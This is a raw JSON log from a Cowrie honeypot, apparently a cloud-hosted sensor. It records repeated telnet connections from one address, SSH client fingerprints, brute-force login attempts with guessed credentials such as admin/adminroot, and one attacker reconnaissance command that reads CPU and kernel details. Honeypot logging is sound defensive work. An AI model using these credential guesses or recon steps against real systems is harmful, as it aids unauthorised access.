{"eventid":"cowrie.session.closed","duration":30.868359327316284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:40.018648Z","src_ip":"46.4.133.15","session":"ac0d5d3017b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914463758468628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:40.039119Z","src_ip":"46.4.133.15","session":"c350733a647e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57712,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf43d709312","protocol":"telnet","message":"New connection: 46.4.133.15:57712 (10.17.0.5:23) [session: dbf43d709312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:40.159019Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57764,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2cd3c0e8db","protocol":"telnet","message":"New connection: 46.4.133.15:57764 (10.17.0.5:23) [session: 0b2cd3c0e8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:40.173966Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":58700,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6af30443c5","protocol":"telnet","message":"New connection: 46.4.133.15:58700 (10.17.0.5:23) [session: 1a6af30443c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:40.411046Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60656,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ce6f8a87fa","protocol":"telnet","message":"New connection: 46.4.133.15:60656 (10.17.0.5:23) [session: b2ce6f8a87fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:41.115168Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":36284,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb7e2eab97d","protocol":"telnet","message":"New connection: 46.4.133.15:36284 (10.17.0.5:23) [session: 1fb7e2eab97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:42.171311Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":36932,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3687cd515b","protocol":"telnet","message":"New connection: 46.4.133.15:36932 (10.17.0.5:23) [session: 8a3687cd515b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:42.321994Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35190,"dst_ip":"10.17.0.5","dst_port":23,"session":"397a20d0d8ab","protocol":"telnet","message":"New connection: 46.4.133.15:35190 (10.17.0.5:23) [session: 397a20d0d8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:42.843592Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38986,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0be77432a0","protocol":"telnet","message":"New connection: 46.4.133.15:38986 (10.17.0.5:23) [session: 3a0be77432a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:42.986567Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":39102,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cdcbf205edd","protocol":"telnet","message":"New connection: 46.4.133.15:39102 (10.17.0.5:23) [session: 1cdcbf205edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.028986Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":39526,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58e4c0d9061","protocol":"telnet","message":"New connection: 46.4.133.15:39526 (10.17.0.5:23) [session: d58e4c0d9061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.110594Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":39644,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6cca1fac42","protocol":"telnet","message":"New connection: 46.4.133.15:39644 (10.17.0.5:23) [session: 2f6cca1fac42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.131633Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0c5247e59f","protocol":"telnet","message":"New connection: 46.4.133.15:39778 (10.17.0.5:23) [session: be0c5247e59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.153699Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40168,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce0225ce63b5","protocol":"telnet","message":"New connection: 46.4.133.15:40168 (10.17.0.5:23) [session: ce0225ce63b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.228706Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40236,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb822ec423f","protocol":"telnet","message":"New connection: 46.4.133.15:40236 (10.17.0.5:23) [session: 3cb822ec423f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.244264Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40342,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eff294abc08","protocol":"telnet","message":"New connection: 46.4.133.15:40342 (10.17.0.5:23) [session: 4eff294abc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.266919Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":42738,"dst_ip":"10.17.0.5","dst_port":23,"session":"17a3ea629fcd","protocol":"telnet","message":"New connection: 46.4.133.15:42738 (10.17.0.5:23) [session: 17a3ea629fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.962960Z"}
{"eventid":"cowrie.session.closed","duration":30.83548402786255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:43.996976Z","src_ip":"46.4.133.15","session":"18ac3c96c1de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211864948272705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:44.368663Z","src_ip":"46.4.133.15","session":"a586a347d96e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46888,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce30d46144ca","protocol":"telnet","message":"New connection: 46.4.133.15:46888 (10.17.0.5:23) [session: ce30d46144ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:45.133169Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47600,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd94a68ad84b","protocol":"telnet","message":"New connection: 46.4.133.15:47600 (10.17.0.5:23) [session: bd94a68ad84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:45.276931Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48650,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf97eae461f4","protocol":"telnet","message":"New connection: 46.4.133.15:48650 (10.17.0.5:23) [session: cf97eae461f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:45.487425Z"}
{"eventid":"cowrie.session.closed","duration":30.963006019592285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:45.978519Z","src_ip":"46.4.133.15","session":"24d8a846671e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87850832939148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:46.013405Z","src_ip":"46.4.133.15","session":"bbc8f92df9d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":50922,"dst_ip":"10.17.0.5","dst_port":23,"session":"6748ec2ad155","protocol":"telnet","message":"New connection: 46.4.133.15:50922 (10.17.0.5:23) [session: 6748ec2ad155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:46.186364Z"}
{"eventid":"cowrie.session.closed","duration":30.661500453948975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:46.957991Z","src_ip":"46.4.133.15","session":"16fa48a4352a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":54482,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f2f4b7fc0e","protocol":"telnet","message":"New connection: 46.4.133.15:54482 (10.17.0.5:23) [session: 62f2f4b7fc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:47.122371Z"}
{"eventid":"cowrie.session.closed","duration":30.782123804092407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:47.952077Z","src_ip":"46.4.133.15","session":"1a70ae10e795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915277242660522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:48.034781Z","src_ip":"46.4.133.15","session":"c667b693bb83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8c88dee9a22","protocol":"telnet","message":"New connection: 46.4.133.15:60502 (10.17.0.5:23) [session: d8c88dee9a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:48.690109Z"}
{"eventid":"cowrie.session.closed","duration":30.550466537475586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:48.949805Z","src_ip":"46.4.133.15","session":"2c04fcb4b4aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":33774,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cd5107810f2","protocol":"telnet","message":"New connection: 46.4.133.15:33774 (10.17.0.5:23) [session: 8cd5107810f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:49.137488Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":33800,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4759e9009bc","protocol":"telnet","message":"New connection: 46.4.133.15:33800 (10.17.0.5:23) [session: e4759e9009bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:49.142142Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35170,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb7fe823d8a","protocol":"telnet","message":"New connection: 46.4.133.15:35170 (10.17.0.5:23) [session: 3eb7fe823d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:49.355369Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":36692,"dst_ip":"10.17.0.5","dst_port":23,"session":"892c6a2f2d10","protocol":"telnet","message":"New connection: 46.4.133.15:36692 (10.17.0.5:23) [session: 892c6a2f2d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:49.827522Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37698,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7d2385c512","protocol":"telnet","message":"New connection: 46.4.133.15:37698 (10.17.0.5:23) [session: 6a7d2385c512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:50.159011Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38816,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc8385cb597c","protocol":"telnet","message":"New connection: 46.4.133.15:38816 (10.17.0.5:23) [session: cc8385cb597c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:50.408214Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":41204,"dst_ip":"10.17.0.5","dst_port":23,"session":"074be6ce4967","protocol":"telnet","message":"New connection: 46.4.133.15:41204 (10.17.0.5:23) [session: 074be6ce4967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:51.175032Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":41908,"dst_ip":"10.17.0.5","dst_port":23,"session":"e26a7a2cd309","protocol":"telnet","message":"New connection: 46.4.133.15:41908 (10.17.0.5:23) [session: e26a7a2cd309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:51.337810Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34054,"dst_ip":"159.203.135.109","dst_port":22,"session":"5300e7b7e107","protocol":"ssh","message":"New connection: 159.203.92.129:34054 (159.203.135.109:22) [session: 5300e7b7e107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.038171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.042837Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.047396Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminroot","message":"login attempt [admin/adminroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.058360Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.097467Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.100730Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.105139Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.116308Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.122014Z","src_ip":"159.203.92.129","session":"5300e7b7e107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":41084,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a898c32ca7b","protocol":"telnet","message":"New connection: 46.4.133.15:41084 (10.17.0.5:23) [session: 9a898c32ca7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.156110Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44944,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bfe9291feb3","protocol":"telnet","message":"New connection: 46.4.133.15:44944 (10.17.0.5:23) [session: 7bfe9291feb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.195611Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46976,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf1eda890c0c","protocol":"telnet","message":"New connection: 46.4.133.15:46976 (10.17.0.5:23) [session: bf1eda890c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.782652Z"}
{"eventid":"cowrie.session.closed","duration":30.74100971221924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.947804Z","src_ip":"46.4.133.15","session":"899f0db145bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877759218215942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:52.994907Z","src_ip":"46.4.133.15","session":"ac92267f672f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85138440132141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:53.001788Z","src_ip":"46.4.133.15","session":"991f78584456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48938,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53a3dd3f933","protocol":"telnet","message":"New connection: 46.4.133.15:48938 (10.17.0.5:23) [session: c53a3dd3f933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:53.297115Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":50594,"dst_ip":"10.17.0.5","dst_port":23,"session":"865143473b39","protocol":"telnet","message":"New connection: 46.4.133.15:50594 (10.17.0.5:23) [session: 865143473b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:53.783906Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51414,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cda500630dd","protocol":"telnet","message":"New connection: 46.4.133.15:51414 (10.17.0.5:23) [session: 8cda500630dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:54.063420Z"}
{"eventid":"cowrie.session.closed","duration":30.46955442428589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:54.971584Z","src_ip":"46.4.133.15","session":"ef3ac3580cb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819000720977783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:54.989772Z","src_ip":"46.4.133.15","session":"c6babecfb6e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778761863708496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:54.999522Z","src_ip":"46.4.133.15","session":"1a4992126814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35300,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b09f127830d","protocol":"telnet","message":"New connection: 203.1.9.18:35300 (10.17.0.5:23) [session: 3b09f127830d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:55.054318Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56296,"dst_ip":"10.17.0.5","dst_port":23,"session":"69e4ff22e0e9","protocol":"telnet","message":"New connection: 46.4.133.15:56296 (10.17.0.5:23) [session: 69e4ff22e0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:55.249068Z"}
{"eventid":"cowrie.session.closed","duration":31.08525776863098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:55.954508Z","src_ip":"46.4.133.15","session":"5044db6068b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49815,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b8da3bba7e8","protocol":"ssh","message":"New connection: 2.57.121.25:49815 (10.17.0.5:22) [session: 3b8da3bba7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:56.253915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:56.258100Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:56.359820Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfhjkm12","message":"login attempt [user/gfhjkm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:56.830115Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
